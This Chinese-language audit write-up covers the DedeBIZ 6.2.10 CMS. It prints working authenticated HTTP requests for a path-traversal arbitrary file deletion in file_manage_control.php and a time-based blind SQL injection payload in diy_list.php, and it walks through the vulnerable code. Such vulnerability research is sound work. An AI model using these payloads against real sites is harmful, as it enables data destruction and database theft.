之前简单审计过DedeBIZ系统，网上还没有对这个系统的漏洞有过详尽的分析，于是重新审计并总结文章，记录下自己审计的过程。

https://github.com/DedeBIZ/DedeV6/archive/refs/tags/6.2.10.zip

?DedeBIZ 系统并非基于 MVC 框架，而是采用 静态化与动态解析结合 的方式进行页面处理。其“路由”主要依赖 静态文件跳转 和 数据库模板解析，因此可以直接访问 PHP 文件来触发相应的动态解析逻辑。

我一般会首先关注对文件的操作，任意文件上传、任意文件删除，任意文件读取、任意文件下载等漏洞都是我第一时间关注的重点，除了黑盒测试时关注功能点外，通过代码审计来看的话速度会更快一点。（这里有一个小技巧，就是直接全局搜索?filename=，一些 js 文件中可能会包含对文件处理的操作，搜索到后就可以直接进行尝试。）

授权任意文件删除

GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt HTTP/1.1
Host: dedev6.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b; DedeStUUID=22636dd1d7205; DedeStUUID__ckMd5=bae1ecb193958e0d; ENV_GOBACK_URL=%2Fadmin%2Fmychannel_main.php
Connection: close

src\admin\file_manage_control.php

src\admin\file_class.php#DeleteFile

该漏洞发生在 file_manage_control.php 处理 fmdo=del请求时，由于 DeleteFile方法直接拼接 filename参数生成完整路径并调用 unlink 删除文件，缺乏路径校验，导致攻击者可以构造 ../进行目录遍历，删除任意文件。通过 GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt请求，利用 filename=../1.txt逃出受限目录，删除站点根目录下的 1.txt文件。

授权 SQL 注入

首先需要创建表单

修改添加字段信息

点击字段发布信息

构造数据包

POST /admin/diy_list.php?action=delete&diyid=1&id[]=1)AND+sleep(5 HTTP/1.1
Host: dedev6.test
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://dedev6.test/admin/index_body.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

构造 payload 1)AND+(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end

(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end 为 true 与查询出的数据库名 dedebiz 第一个字母 d 的 ascii 相符合。

为什么我们操作的时候需要那么多的前置条件呢，接下来我会详细说明，首先我们从代码层面查看：

src/admin/diy_list.php

对传入的参数 数组 id 通过 ， 拼接起来，最后传参到 SQL 语句：

$query = "DELETE FROM `$diy->table` WHERE id IN ($ids)";

参数可以通过 ） 闭合，构成 SQL 注入

我们注意到：

          $query = "DELETE FROM `$diy->table` WHERE id IN ($ids)";
        if ($dsql->ExecuteNoneQuery($query)) {
            showmsg('删除成功', "diy_list.php?action=list&diyid={$diy->diyid}");
        } else {
            showmsg('删除失败', "diy_list.php?action=list&diyid={$diy->diyid}");
        }

执行的结果并不会直接返回到界面上，所以这个漏洞时一个盲注漏洞，基于盲注漏洞的特点以及执行数据库时，如果这个表为空，那么便不会执行成功，为了使这个数据库语句执行成功，数据库中必须先保存有数据。

同时这个注入漏洞可以说绝无仅有：

对比代码我们发现，就这一部分没有对变量 id 的类型进行检测。